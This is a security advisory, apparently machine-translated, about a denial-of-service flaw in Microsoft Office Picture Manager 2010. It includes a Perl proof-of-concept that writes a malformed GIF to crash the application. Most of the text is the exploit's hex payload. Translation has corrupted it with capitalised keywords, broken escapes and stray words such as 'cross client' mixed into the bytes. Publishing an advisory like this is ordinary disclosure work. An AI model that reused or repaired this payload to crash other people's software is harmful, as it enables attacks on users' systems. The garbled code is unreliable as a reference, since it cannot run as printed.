Microsoft Office Picture Manager Memory Corruption Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Microsoft Office Image Manager 2010
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56239

Microsoft Office Picture Manager is a basic image management software and a component in Microsoft Office 2003 (similar to a basic version of Google Picasa or Adobe Photoshop Elements ).

Microsoft Office Picture Manager 2010 and other versions have a remote security vulnerability. Attackers can exploit this vulnerability to crash affected applications.

<* Source: coolkaveh
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/perl
My $ poc =
"\ X47 \ x49 \ x46 \ x38 \ x39 \ x61 \ x93 \ x00 \ x33 \ x00 \ xE6 \ x7F \ x00 \ x23 \ xCC \ xF5 \ x03 \ xC7 \ xB6 \ xF7 \ x96 \ x25 \ xFC \ xC7 \ x26 ".
"\ XFD \ x69 \ x2D \ xA4 \ xD8 \ x7B \ x0C \ xA4 \ xFB \ x6A \ xD5 \ x9D \ xFC \ xCB \ xA7 \ x1F \ xC5 \ xF6 \ xF0 \ x7A \ x51 \ x65 \ xCE \ xFA \ xD9 ".
"\ XF0 \ xC7 \ xB3 \ xE3 \ x91 \ xFD \ x86 \ x4A \ xF9 \ x77 \ x16 \ xF6 \ xAF \ x4A \ xFE \ x57 \ x06 \ x93 \ xCD \ x64 \ x03 \ x92 \ xFE \ x14 \ xB3 ".
"\ XF9 \ x8D \ xCA \ x5B \ xFE \ xD4 \ xBE \ xFE \ xE6 \ xA1 \ xF8 \ xBC \ x6A \ xC3 \ xE8 \ xFE \ xF5 \ x5B \ x34 \ xFD \ xE1 \ x84 \ xFE \ xE5 \ xD7 ".
"\ XF6 \ x86 \ x1F \ x00 \ xA7 \ x99 \ xF9 \ xBC \ x36 \ xF8 \ xC8 \ x8D \ x15 \ x98 \ xFF \ x85 \ xC5 \ x51 \ xFA \ xCC \ x74 \ x44 \ xD4 \ xF5 \ xAE ".
"\ XDD \ xFF \ xFD \ xD7 \ x5B \ xFD \ xB1 \ x85 \ xFF \ x91 \ x68 \ xAC \ xDD \ x85 \ xA7 \ xE4 \ x79 \ x10 \ xAB \ xFA \ x15 \ xB9 \ xC8 \ x37 \ xA8 ".
"\ XFF \ xDF \ xF1 \ xFF \ x00 \ xB2 \ xA4 \ x00 \ xBA \ xAB \ xFC \ x62 \ x0A \ xCA \ xEF \ xAD \ x2C \ xA3 \ xFF \ x57 \ xB8 \ xFF \ x00 \ xBE \ xB0 ".
"\ XF3 \ xFB \ xFF \ x01 \ xAD \ xA0 \ xE7 \ xF5 \ xDA \ x48 \ xB3 \ xFF \ xE4 \ xF9 \ xFE \ x95 \ xD4 \ xFF \ x1A \ xC2 \ xD7 \ xFA \ xF5 \ xD5 \ x09 ".
"\ X9E \ xFC \ x02 \ x8E \ xFF \ x0A \ x92 \ xFF \ xD3 \ xF1 \ xBB \ xFE \ xF9 \ xF4 \ xFF \ x5E \ x1A \ xFF \ xF6 \ xF0 \ x99 \ xD1 \ x6C \ xEF \ x56 ".
"\ X39 \ x19 \ xBB \ xF8 \ xD5 \ xF1 \ xFE \ x9F \ xD4 \ x73 \ x94 \ xD2 \ x62 \ xCD \ xE8 \ xB8 \ x64 \ xBE \ xFF \ xEC \ x4C \ x3D \ xC8 \ xF0 \ xFD ".
"\ X06 \ x99 \ xFD \ xFB \ xB5 \ x27 \ x87 \ xC7 \ x54 \ x20 \ x9D \ xFF \ x1B \ xC0 \ xF7 \ x8A \ xC8 \ x57 \ x9E \ xDB \ x6E \ xEF \ xFA \ xE6 \ x16 ".
"\ XB7 \ xF8 \ xFF \ x50 \ x03 \ x01 \ xB6 \ xA9 \ xFA \ x6D \ x10 \ x8C \ x8C \ x8C \ xD9 \ xD9 \ xD9 \ xB2 \ xB2 \ xB2 \ User/client/Client/Server ".
"\ X79 \ xF5 \ xF5 \ xF5 \ xE2 \ xE2 \ xE2 \ xEC \ xA0 \ xA0 \ xA0 \ xC5 \ xC5 \ xC5 \ xA9 \ xA9 \ xA9 \ xA9 \ xCF \ xBC ".
"\ X96 \ x96 \ x96 \ x83 \ x83 \ x83 \ x90 \ xCF \ x5E \ x97 \ xD5 \ x66 \ x74 \ xDD \ xFA \ x19 \ xBB \ xB6 \ xFD \ xF4 \ xE5 \ x13 \ xBC \ xA2 \ xD2 ".
"\ XF2 \ xE0 \ xF7 \ xFB \ xF4 \ xFA \ xFD \ xF8 \ x89 \ xCC \ x68 \ xFC \ xCF \ x41 \ xC1 \ xE9 \ xA1 \ x6C \ xD3 \ xC8 \ x7D \ xCD \ x79 \ x0D \ xBC ".
"\ XAA \ xFE \ xEE \ xC3 \ x92 \ xDD \ x97 \ x97 \ xE6 \ xF8 \ xA7 \ xE4 \ xFD \ x3F \ xBD \ x86 \ x66 \ x66 \ x66 \ x66 \ xFF \ x21 \ xFF \ x0B ".
"\ X58 \ x4D \ x50 \ x20 \ x44 \ x61 \ x74 \ x61 \ x58 \ x4D \ x50 \ x3C \ x3F \ x78 \ x61 \ x63 \ x6B \ x65 \ x74 \ x20 \ x62 \ x65 \ x67 \ x69 ".
"\ X6E \ x3D \ x22 \ xEF \ xBB \ xBF \ x22 \ x20 \ x69 \ x64 \ x3D \ x22 \ x57 \ x35 \ x4D \ x30 \ x4D \ cross 7 \ x43 \ x65 \ x68 \ x69 \ x48 \ x7A \ x72 ".
"\ X65 \ x53 \ x7A \ x4E \ x54 \ x63 \ x7A \ x6B \ x63 \ x39 \ x64 \ x22 \ x3F \ x3E \ x20 \ x3C \ x78 \ x3A \ x78 \ x6D \ x6D \ x65 \ x74 \ x61 ".
"\ X20 \ x78 \ x6D \ x6C \ x6E \ x73 \ x3A \ x78 \ x3D \ x22 \ x61 \ x64 \ x6F \ x62 \ x65 \ x3A \ x6E \ x73 \ x3A \ x6D \ x65 \ x74 \ x61 \ x2F \ x22 ".
"\ X20 \ x78 \ x3A \ x78 \ x6D \ cross client \ x74 \ x6B \ x3D \ x22 \ x41 \ x64 \ x6F \ x62 \ x65 \ x20 \ x58 \ x4D \ x50 \ x20 \ x43 \ x6F \ x72 \ x65 \ x20 ".
"\ X35 \ x2E \ x30 \ x2D \ x63 \ x30 \ x36 \ x30 \ x20 \ x36 \ x31 \ x2E \ x31 \ x33 \ x34 \ x37 \ x37 \ x37 \ x2C \ x20 \ x32 \ x30 \ x31 \ x30 \ x2F ".
"\ X30 \ x32 \ x2F \ x31 \ x32 \ x2D \ x31 \ x37 \ x3A \ x33 \ x32 \ x3A \ x30 \ x30 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x22 \ x3E \ x20 ".
"\ X3C \ x72 \ x64 \ x66 \ x3A \ x52 \ x44 \ x46 \ x20 \ x78 \ x6D \ x6C \ x6E \ x73 \ x3A \ x72 \ x64 \ x66 \ x3D \ x22 \ x68 \ x74 \ x74 \ cross 7 \ x3A ".
"\ X2F \ x2F \ x77 \ x77 \ x77 \ x2E \ x77 \ x33 \ x2E \ x6F \ x72 \ x67 \ x2F \ x31 \ x39 \ x39 \ x39 \ x2F \ x30 \ x32 \ x2F \ x32 \ x32 \ x2D \ x72 ".
"\ X64 \ x66 \ x2D \ x73 \ x79 \ x6E \ x74 \ x61 \ x78 \ x2D \ x6E \ x73 \ x23 \ x22 \ x3E \ x20 \ x3C \ x72 \ x64 \ x66 \ x3A \ x44 \ x65 \ x73 \ x63 ".
"\ X72 \ x69 \ x74 \ x69 \ x6F \ x6E \ x20 \ x72 \ x64 \ x66 \ x3A \ x61 \ x62 \ x6F \ x75 \ x74 \ x3D \ x22 \ x22 \ x20 \ x78 \ x6D \ x6C \ x6E ".
"\ X73 \ x3A \ x78 \ x6D \ cross client \ x4D \ x4D \ x3D \ x22 \ x68 \ x74 \ x74 \ cross client \ x3A \ x2F \ x2F \ x6E \ x73 \ x2E \ x61 \ x64 \ x6F \ x62 \ x65 \ x2E ".
"\ X63 \ x6F \ x6D \ x2F \ x78 \ x61 \ Xi \ x2F \ x31 \ x2E \ x30 \ x2F \ x6D \ x6D \ x2F \ x22 \ x20 \ x78 \ x6D \ x6C \ x6E \ x73 \ x3A \ x73 \ x74 ".
"\ X52 \ x65 \ x66 \ x3D \ x22 \ x68 \ x74 \ x74 \ x3A \ x3A \ x2F \ x2F \ x6E \ x73 \ x2E \ x61 \ x64 \ x6F \ x62 \ x65 \ x2E \ x63 \ x6F \ x6D \ x2F ".
"\ X78 \ x61 \ cross, x2F \ x31 \ x2E \ x30 \ x2F \ x73 \ x54 \ x79 \ cross, x65 \ x2F \ x52 \ x65 \ x73 \ x6F \ xC2 \ x72 \ x63 \ x65 \ x52 \ x65 \ x66 ".
"\ X23 \ x22 \ x20 \ x78 \ x6D \ x6C \ x6E \ x73 \ x3A \ x78 \ x6D \ cross 7 \ x3D \ x22 \ x68 \ x74 \ x74 \ cross 7 \ x3A \ x2F \ x2F \ x6E \ x73 \ x2E \ x61 ".
"\ X64 \ x6F \ x62 \ x65 \ x2E \ x63 \ x6F \ x6D \ x2F \ x78 \ x61 \ cross \ x2F \ x31 \ x2E \ x30 \ x2F \ x22 \ x20 \ x78 \ x6D \ x4D \ x4D \ x3A ".
"\ X4F \ x72 \ x69 \ x67 \ x69 \ x6E \ x61 \ x6C \ x44 \ x6F \ x63 \ x75 \ x6D \ x65 \ x6E \ x74 \ x49 \ x44 \ x3D \ x22 \ x78 \ x6D \ cross-client \ x2E \ x64 ".
"\ X69 \ x64 \ x3A \ x38 \ x41 \ x39 \ x46 \ x30 \ x45 \ x41 \ x35 \ x41 \ x30 \ x30 \ x44 \ x45 \ x32 \ x31 \ x31 \ x31 \ x41 \ x32 \ x34 \ x43 \ x41 \ x43 ".
"\ X31 \ x35 \ x35 \ x33 \ x34 \ x41 \ x36 \ x34 \ x31 \ x31 \ x22 \ x20 \ x78 \ x6D \ x4D \ x4D \ x3A \ x44 \ x6F \ x63 \ x75 \ x6D \ x65 \ x6E ".
"\ X74 \ x49 \ x44 \ x3D \ x22 \ x78 \ x6D \ cross city \ x2E \ x64 \ x69 \ x64 \ x3A \ x45 \ x32 \ x45 \ x42 \ x41 \ x43 \ x38 \ x44 \ x31 \ x34 \ x39 \ x46 ".
"\ X31 \ x31 \ x45 \ x32 \ x41 \ x41 \ x36 \ x44 \ x42 \ x45 \ x41 \ x35 \ x41 \ x39 \ x43 \ x45 \ x43 \ x42 \ x45 \ x34 \ x22 \ x20 \ x78 \ x6D \ cross ".
"\ X4D \ x4D \ x3A \ x49 \ x6E \ x73 \ x74 \ x61 \ x6E \ x63 \ x65 \ x49 \ x44 \ x3D \ x22 \ x78 \ x6D \ cross-city \ x2E \ x69 \ x69 \ x64 \ x3A \ x45 \ x32 ".
"\ X45 \ x42 \ x41 \ x43 \ x38 \ x43 \ x31 \ x34 \ x39 \ x46 \ x31 \ x31 \ x45 \ x32 \ x41 \ x41 \ x36 \ x44 \ x42 \ x45 \ x41 \ x35 \ x41 \ x39 \ x43 ".
"\ X45 \ x43 \ x42 \ x45 \ x34 \ x22 \ x20 \ x78 \ x6D \ cross city \ x3A \ x43 \ x72 \ x65 \ x61 \ x74 \ x6F \ x72 \ x54 \ x6F \ x6F \ x6C \ x3D \ x22 \ x41 ".
"\ X64 \ x6F \ x62 \ x65 \ x20 \ x50 \ x68 \ x6F \ x74 \ x6F \ x73 \ x68 \ x6F \ x20 \ x43 \ x53 \ x35 \ x20 \ x57 \ x69 \ x6E \ x64 \ x6F \ x77 ".
"\ X73 \ x22 \ x3E \ x20 \ x3C \ x78 \ x6D \ x4D \ x4D \ x3A \ x44 \ x65 \ x72 \ x69 \ x76 \ x65 \ x64 \ x46 \ x72 \ x6F \ x6D \ x20 \ x73 \ x74 ".
"\ X52 \ x65 \ x66 \ x3A \ x69 \ x6E \ x73 \ x74 \ x61 \ x6E \ x63 \ x65 \ x49 \ x44 \ x3D \ x22 \ x78 \ x6D \ cross \ x2E \ x69 \ x69 \ x64 \ x3A \ x42 ".
"\ X41 \ x32 \ x30 \ x37 \ x42 \ x38 \ x35 \ x39 \ x45 \ x31 \ x34 \ x45 \ x32 \ x31 \ x31 \ x41 \ x30 \ x39 \ x34 \ x41 \ x44 \ x42 \ x30 \ x30 \ x35 ".
"\ X30 \ x30 \ x41 \ x38 \ x35 \ x30 \ x22 \ x20 \ x73 \ x74 \ x52 \ x65 \ x66 \ x3A \ x64 \ x6F \ x63 \ x75 \ x6D \ x65 \ x6E \ x74 \ x49 \ x44 \ x3D ".
"\ X22 \ x78 \ x6D \ cross-client \ x2E \ x64 \ x69 \ x64 \ x3A \ x38 \ x41 \ x39 \ x46 \ x30 \ x45 \ x41 \ x35 \ x41 \ x30 \ x30 \ x44 \ x45 \ x32 \ x31 \ x31 ".
"\ X41 \ x32 \ x34 \ x43 \ x41 \ x43 \ x31 \ x35 \ x35 \ x33 \ x34 \ x41 \ x36 \ x34 \ x31 \ x31 \ x22 \ x2F \ x3E \ x20 \ x3C \ x2F \ x72 \ x64 \ x66 ".
"\ X3A \ x44 \ x65 \ x73 \ x63 \ x72 \ x69 \ x74 \ x74 \ x69 \ x6F \ x6E \ x3E \ x20 \ x3C \ x2F \ x72 \ x64 \ x66 \ x3A \ x52 \ x44 \ x46 \ x3E \ x20 ".
"\ X3C \ x2F \ x78 \ x3A \ x78 \ x6D \ cross 6D \ x6D \ x65 \ x74 \ x61 \ x3E \ x20 \ x3C \ x3F \ x78 \ cross 7 \ x61 \ x63 \ x6B \ x65 \ x74 \ x20 \ x65 \ x6E ".
"\ X64 \ x3D \ x22 \ x72 \ x22 \ x3F \ x3E \ x01 \ xFF \ xFE \ xFD \ xFC \ xFB \ xFA \ xF9 \ xF8 \ xF7 \ xF6 \ xF5 \ xF4 \ xF3 \ xF2 \ xF1 \ xF0 \ xEF ".
"\ XEE \ xED \ xEC \ xEB \ xEA \ xE9 \ xE8 \ xE7 \ xE6 \ xE5 \ xE4 \ xE3 \ xE2 \ xE1 \ xE0 \ xDF \ xDE \ xDD \ xDC \ xDB \ xDA \ xD9 \ xD8 \ xD7 \ xD6 ".
"\ XD5 \ xD4 \ xD3 \ xD2 \ xD1 \ xD0 \ xCF \ xCE \ xCD \ xCC \ xCB \ xCA \ xC9 \ xC8 \ xC7 \ xC6 \ xC5 \ xC4 \ xC3 \ xC2 \ xC1 \ xC0 \ xBF \ xBE \ xBD ".
"\ XBC \ xBB \ xBA \ xB9 \ xB8 \ xB7 \ xB6 \ xB5 \ xB4 \ xB3 \ xB2 \ xB1 \ xB0 \ xAF \ xAE \ xAD \ xAC \ xAB \ xAA \ xA9 \ xA8 \ xA7 \ xA6 \ xA5 \ xA4 ".
"\ XA3 \ xA2 \ xA1 \ xA0 \ x9F \ x9E \ x9D \ x9C \ x9B \ x9A \ x99 \ x98 \ x97 \ x96 \ x95 \ x94 \ x93 \ x92 \ x91 \ x90 \ x8F \ x8E \ x8D \ x8C \ x8B ".
"\ X8A \ x89 \ x88 \ x87 \ x86 \ x85 \ x84 \ x83 \ x82 \ x81 \ x80 \ x7F \ x7E \ x7D \ x7C \ x7B \ x7A \ x79 \ x78 \ x77 \ x76 \ x75 \ x74 \ x73 \ x72 ".
"\ X71 \ x6F \ x6E \ x6D \ x6C \ x6B \ x6A \ x69 \ x68 \ x67 \ x66 \ x65 \ x64 \ x63 \ x62 \ x61 \ x60 \ x5F \ x5E \ x5D \ x5C \ x5B \ x5A \ x59 ".
"\ X58 \ x57 \ x56 \ x55 \ x54 \ x53 \ x52 \ x51 \ x50 \ x4F \ x4E \ x4D \ x4C \ x4B \ x4A \ x49 \ x48 \ x47 \ x46 \ x45 \ x44 \ x43 \ x42 \ x41 \ x40 ".
"\ X3F \ x3E \ x3D \ x3C \ x3B \ x3A \ x39 \ x38 \ x37 \ x36 \ x35 \ x34 \ x33 \ x32 \ x31 \ x30 \ x2F \ x2E \ x2D \ x2C \ x2B \ x2A \ x29 \ x28 \ x27 ".
"\ X26 \ x25 \ x24 \ x23 \ x22 \ x21 \ x20 \ x1F \ x1E \ x1D \ x1C \ x1B \ x1A \ x19 \ x18 \ x17 \ x16 \ x15 \ x14 \ x13 \ x12 \ x11 \ x10 \ x0F \ x0E ".
"\ X0D \ x0C \ x0B \ x0A \ x09 \ x08 \ x07 \ x06 \ x05 \ x04 \ x03 \ x02 \ x01 \ x00 \ x00 \ x21 \ xF9 \ x04 \ x01 \ x00 \ x00 \ x7F \ x00 \ x2C \ x00 ".
"\ X00 \ x00 \ x00 \ x93 \ x00 \ x33 \ x00 \ x00 \ x07 \ xFF \ x80 \ x7F \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ x8A \ x8B \ x8C \ x8D \ x8E ".
"\ X8F \ x90 \ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ x9A \ x9B \ x9C \ x9D \ x9E \ x9F \ xA0 \ xA1 \ xA2 \ xA3 \ xA4 \ xA5 \ xA6 \ xA7 ".
"\ XA8 \ xA9 \ xAA \ xAB \ xAC \ xAD \ xAE \ xAF \ xB0 \ xB1 \ xB2 \ xB3 \ xB4 \ xB5 \ xB6 \ xB7 \ xB8 \ xB9 \ xBA \ xBB \ xBC \ xBD \ xBE \ xBF \ xC0 ".
"\ XC1 \ x8D \ x36 \ x19 \ x3B \ xC6 \ x19 \ x36 \ xC2 \ xCA \ x86 \ x19 \ x34 \ x39 \ x39 \ x34 \ x34 \ x4C \ x0B \ x2E \ xCB \ xD6 \ x25 \ x33 \ xD9 ".
"\ X2D \ xDB \ xCF \ x34 \ xD5 \ xD6 \ xC1 \ x25 \ x21 \ xE3 \ x21 \ x52 \ x52 \ xD9 \ x33 \ x2D \ x34 \ xE0 \ xC0 \ x2E \ x21 \ x3F \ x40 \ xF1 \ xF1 ".
"\ XE3 \ xE6 \ x33 \ x25 \ xEC \ xBE \ x4C \ x3F \ xFB \ xFC \ x3F \ x13 \ xF3 \ x21 \ x98 \ xE0 \ xE3 \ xE5 \ x62 \ x82 \ xC1 \ x83 \ x13 \ xFA \ xFD ".
"\ X9B \ x31 \ cross 7 \ xD7 \ x8E \ x27 \ x10 \ x23 \ x4E \ x78 \ x62 \ xB0 \ x5F \ x43 \ x5D \ x39 \ x7C \ x68 \ xDC \ xE8 \ x23 \ x22 \ xC5 \ x7D \ x17 ".
"\ X5D \ x09 \ xB1 \ x60 \ x81 \ xC8 \ x21 \ x87 \ x28 \ x53 \ x1A \ xF0 \ xB1 \ xB2 \ x23 \ xC5 \ x09 \ x21 \ x5B \ x21 \ x40 \ xA1 \ xC0 \ x01 \ x87 ".
"\ X42 \ x48 \ x56 \ xE8 \ xDC \ xB9 \ x42 \ xA5 \ x46 \ x88 \ x31 \ x59 \ xA1 \ x20 \ x40 \ x60 \ xC8 \ x90 \ x9B \ x83 \ x32 \ x50 \ x58 \ xB1 \ x74 ".
"\ X29 \ xCF \ x94 \ x3E \ x72 \ x04 \ x5D \ x85 \ x62 \ x48 \ x04 \ x2C \ x58 \ x8E \ x26 \ xBD \ xC2 \ xF5 \ x0A \ x85 \ xAF \ x5F \ x9F \ x0A \ x9C ".
"\ X9A \ xEA \ x04 \ x56 \ xAC \ x11 \ x1C \ x0C \ x72 \ x72 \ xA4 \ xAD \ x5B \ xAE \ x60 \ xFF \ x77 \ xF2 \ x21 \ x9B \ xCA \ x02 \ xDA \ x08 \ x31 ".
"\ X62 \ x20 \ x10 \ xE4 \ x64 \ x8A \ xDF \ xBF \ x53 \ xDA \ xC2 \ x5D \ x9A \ x8C \ x2E \ x2A \ x02 \ x78 \ xF3 \ x6A \ xD1 \ x62 \ xD2 \ x49 \ x82 ".
"\ XC7 \ x90 \ x13 \ xF8 \ x15 \ x4C \ x61 \ x81 \ xE1 \ xB2 \ x8A \ x17 \ x3F \ x38 \ xF1 \ x07 \ x09 \ x80 \ xCF \ xA0 \ x01 \ x40 \ x0E \ x7C \ x64 ".
"\ XAE \ x2A \ x33 \ x63 \ xBE \ xF8 \ x59 \ xFD \ x05 \ xCD \ x19 \ x30 \ x86 \ xC8 \ xA0 \ x51 \ xCD \ xDA \ x35 \ x6C \ x45 \ x61 \ xCA \ x6C \ xA1 ".
"\ XCD \ x7A \ xCB \ x98 \ x33 \ x61 \ x18 \ x89 \ x39 \ x83 \ x26 \ xCD \ xEA \ xDE \ x5D \ x82 \ x17 \ x22 \ xF2 \ x40 \ xF3 \ x83 \ x07 \ x1D \ x04 ".
"\ X7D \ x66 \ xC1 \ x82 \ x47 \ xE8 \ xC7 \ x53 \ x12 \ x14 \ x3E \ xC5 \ x85 \ xF7 \ xF1 \ xE3 \ x5E \ xBA \ x0C \ x32 \ xE3 \ xFD \ xBB \ x9F \ xF0 ".
"\ X88 \ xBA \ x9B \ x5F \ xBF \ xDA \ xCB \ x18 \ xE5 \ x85 \ xC4 \ x8C \ x61 \ x6F \ xFE \ x8B \ x99 \ x42 \ x27 \ x9E \ x43 \ xEF \ xD0 \ x61 \ x2F ".
"\ X09 \ x16 \ x1E \ x04 \ x78 \ x83 \ x75 \ xA0 \ x25 \ xC0 \ xC6 \ x29 \ x5B \ x24 \ x48 \ x9F \ x79 \ x69 \ x80 \ x51 \ xC6 \ x82 \ xDF \ x35 \ x58 ".
"\ X08 \ x19 \ xEB \ x25 \ xB8 \ x1B \ x7B \ xE2 \ x0D \ x62 \ xA1 \ x17 \ x10 \ x9A \ x37 \ x46 \ x21 \ x0E \ xF0 \ xC7 \ x9F \ x00 \ x10 \ xFC \ xB1 ".
"\ XC0 \ x0D \ x01 \ x7A \ x80 \ x62 \ x16 \ xA1 \ xE9 \ x8A \ x79 \ xE1 \ xC1 \ x17 \ x46 \ x17 \ x1C \ xB2 \ x06 \ x1E \ cross \ x83 \ xE4 \ x56 ".
"\ XA3 \ x1F \ x68 \ x10 \ x02 \ x46 \ x8D \ xE1 \ x89 \ x61 \ x88 \ x18 \ x66 \ x94 \ x41 \ x5B \ x86 \ x82 \ xAC \ x87 \ x06 \ xFF \ x19 \ x42 \ xE6 ".
"\ X48 \ xC6 \ x16 \ xDF \ x21 \ xF9 \ x47 \ x1E \ x23 \ x76 \ x60 \ x44 \ x07 \ x3D \ xEC \ xA1 \ xE2 \ x0D \ x5C \ xBE \ cross client \ xC3 \ x0B \ xD6 \ x1D ".
"\ XF8 \ xE2 \ x71 \ x12 \ x1A \ x02 \ x86 \ x71 \ xDF \ xA1 \ x71 \ x5B \ x7C \ x68 \ xFA \ xC1 \ xC5 \ x78 \ xC7 \ xBD \ xB9 \ x48 \ x18 \ x63 \ x48 ".
"\ XF9 \ x9D \ x17 \ x72 \ xA6 \ xB7 \ x63 \ x93 \ x82 \ x20 \ x20 \ x80 \ x00 \ x46 \ x34 \ xD1 \ x04 \ x08 \ x4E \ x74 \ xF9 \ xC2 \ xA1 \ x88 \ xF2 ".
"\ XE0 \ xE2 \ x98 \ x7E \ x7C \ xB1 \ xA6 \ x99 \ xBC \ x39 \ x9A \ x88 \ x18 \ x35 \ x7E \ x28 \ x48 \ x17 \ xC7 \ x51 \ xF2 \ x1D \ x7C \ x89 \ cross ".
"\ X71 \ xDC \ x19 \ x85 \ x60 \ x20 \ x80 \ xA0 \ x4D \ x28 \ xF0 \ x47 \ x1B \ x2F \ x64 \ xA1 \ x2A \ x0C \ xAA \ x66 \ xD1 \ x47 \ x10 \ xA8 \ x7C ".
"\ XBA \ xC8 \ x19 \ xC7 \ x91 \ xB1 \ xC8 \ x83 \ xE7 \ xC1 \ xB9 \ x5A \ x19 \ x8F \ x3A \ x72 \ x9C \ xA5 \ x8C \ x40 \ xE9 \ xC7 \ x16 \ x85 \ x08 ".
"\ X01 \ x81 \ xA0 \ x46 \ x18 \ xC1 \ x81 \ x1D \ x59 \ xC0 \ x00 \ x43 \ x0D \ xCF \ xC2 \ xF0 \ xC6 \ x1C \ x54 \ x2C \ xC1 \ x68 \ x9E \ xE9 \ xC5 ".
"\ XB9 \ x88 \ xA7 \ xAB \ x0D \ xF2 \ xE3 \ x77 \ xBE \ x75 \ xD1 \ x85 \ x19 \ x5C \ cross 7 \ xC1 \ xE7 \ x21 \ xC7 \ x49 \ xA9 \ x08 \ xA6 \ xC3 \ x1A ".
"\ XE2 \ x46 \ xB2 \ xC9 \ x9E \ x00 \ x07 \ x1E \ x35 \ xD4 \ x1B \ x40 \ xBD \ x77 \ x48 \ x50 \ x81 \ x08 \ x0C \ x98 \ xA2 \ xAD \ x22 \ xDC \ xFA ".
"\ XC1 \ x48 \ xC0 \ x84 \ x50 \ xD8 \ x61 \ xA3 \ x63 \ xD8 \ x5A \ x48 \ xBA \ x8E \ xB0 \ x4B \ xAC \ x21 \ x50 \ x68 \ x20 \ xB1 \ x00 \ x3D \ x1C ".
"\ X50 \ x43 \ xFF \ x00 \ x18 \ x07 \ x40 \ x11 \ xFA \ x8A \ x50 \ x01 \ x0E \ xA5 \ xFC \ xDB \ x69 \ xA6 \ xDB \ x92 \ x3C \ x88 \ x7C \ x3B ".
"\ X42 \ xF8 \ x05 \ xA7 \ x0C \ x37 \ xE2 \ xF0 \ x21 \ x03 \ x40 \ x41 \ x94 \ x00 \ x17 \ x04 \ x71 \ x40 \ xC6 \ x07 \ x24 \ xC1 \ xF1 \ xBE \ x22 ".
"\ X14 \ x10 \ xF2 \ x6A \ xD8 \ x1E \ x42 \ xC9 \ xDD \ x1E \ x22 \ x06 \ x17 \ xE2 \ x76 \ x61 \ xE1 \ x7A \ x5E \ xF0 \ xD9 \ x32 \ x23 \ x2F ".
"\ X1B \ x62 \ xC2 \ x00 \ x03 \ x08 \ x00 \ x05 \ x1D \ x38 \ xD4 \ xD1 \ x80 \ x1E \ x29 \ xA4 \ xA0 \ xB3 \ x04 \ x54 \ x88 \ x10 \ x45 \ x05 \ xFD ".
"\ X8E \ x22 \ x72 \ xB6 \ x45 \ x03 \ x6C \ xB2 \ x23 \ x62 \ x3C \ xF9 \ xF4 \ xD3 \ x8B \ x44 \ x5D \ xC8 \ x06 \ x54 \ xD7 \ xDD \ x83 \ xD6 \ x0D ".
"\ XA4 \ x50 \ x80 \ xCE \ x6A \ x84 \ x1D \ x85 \ x1A \ x3E \ x9B \ x0D \ x34 \ xD1 \ x02 \ x13 \ x4E \ x09 \ x6D \ x0F \ xFF \ x01 \ xF7 \ xBA \ xAB ".
"\ X25 \ x4E \ x48 \ x1E \ x75 \ x53 \ x7D \ x01 \ x03 \ x79 \ xEB \ x9D \ x84 \ xBE \ x51 \ x88 \ x40 \ x85 \ x1A \ x55 \ x58 \ x21 \ xB8 \ x9B \ x86 ".
"\ X87 \ xFE \ x47 \ xAF \ x8B \ x08 \ x9B \ xF8 \ xE2 \ x89 \ xC8 \ x5D \ x08 \ x1D \ x03 \ x7C \ xD0 \ xFA \ x08 \ x72 \ xE4 \ xBD \ xF7 \ xCE \ x22 ".
"\ X68 \ xAE \ x44 \ x15 \ x65 \ x87 \ x72 \ xB6 \ xD0 \ x6B \ xA3 \ x5D \ xF8 \ x1F \ x4A \ xDF \ xC7 \ x48 \ x18 \ xC7 \ x95 \ x31 \ x08 \ xEA \ x88 ".
"\ XA8 \ xFE \ xF8 \ x07 \ xCC \ x7F \ x30 \ xC2 \ x1F \ x38 \ x58 \ x5E \ x44 \ x05 \ x7E \ xAB \ xB1 \ x86 \ x0A \ xB0 \ x8A \ xB2 \ xBB \ x21 \ x43 ".
"\ XAB \ x9D \ x36 \ xBB \ x5F \ x94 \ x61 \ x06 \ x97 \ xE9 \ x7F \ x88 \ x41 \ xA3 \ xC8 \ xC8 \ x1F \ xA2 \ x3C \ x21 \ x23 \ x7C \ x00 \ x01 \ x04 ".
"\ XCF \ xFF \ xC1 \ xC0 \ xD7 \ x3C \ x6F \ x5E \ x85 \ x0A \ xB9 \ x83 \ xB2 \ x7D \ x21 \ xDD \ x8F \ xFC \ x3D \ xD3 \ x16 \ x4A \ x50 \ xCA \ xFC ".
"\ X60 \ xBC \ xE3 \ xAD \ x46 \ x5D \ xA9 \ x6B \ x5C \ x22 \ x84 \ x80 \ x81 \ xF7 \ x81 \ x60 \ x10 \ x4B \ x90 \ x80 \ x1A \ x32 \ x37 \ xB6 \ xEB ".
"\ XA9 \ xC0 \ x73 \ xDA \ x1B \ x9C \ xF7 \ x7E \ xE7 \ xBF \ xDF \ xA1 \ xEC \ x60 \ xED \ x01 \ x15 \ x21 \ xD2 \ x67 \ x88 \ xF5 \ x15 \ xC2 \ x02 ".
"\ X08 \ x10 \ x02 \ x21 \ x18 \ x50 \ x84 \ xDA \ xD9 \ x4F \ x05 \ x32 \ x20 \ x85 \ x85 \ x38 \ x75 \ x88 \ x30 \ x58 \ x68 \ x78 \ x37 \ x2C \ x44 ".
"\ X91 \ xB6 \ x30 \ xC0 \ xD5 \ xA4 \ x21 \ x61 \ xA4 \ xB3 \ x90 \ xC2 \ x18 \ xF1 \ xA4 \ x2D \ x14 \ x30 \ x12 \ x71 \ x58 \ x42 \ x12 \ x2A \ xB0 ".
"\ X86 \ x06 \ x64 \ xEF \ x32 \ x50 \ x7C \ x44 \ x20 \ x00 \ x00 \ x3B ".
Open (C, ">: raw", "poc.gif ");
Print C $ poc;
Close (C );

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.microsoft.com/technet/security/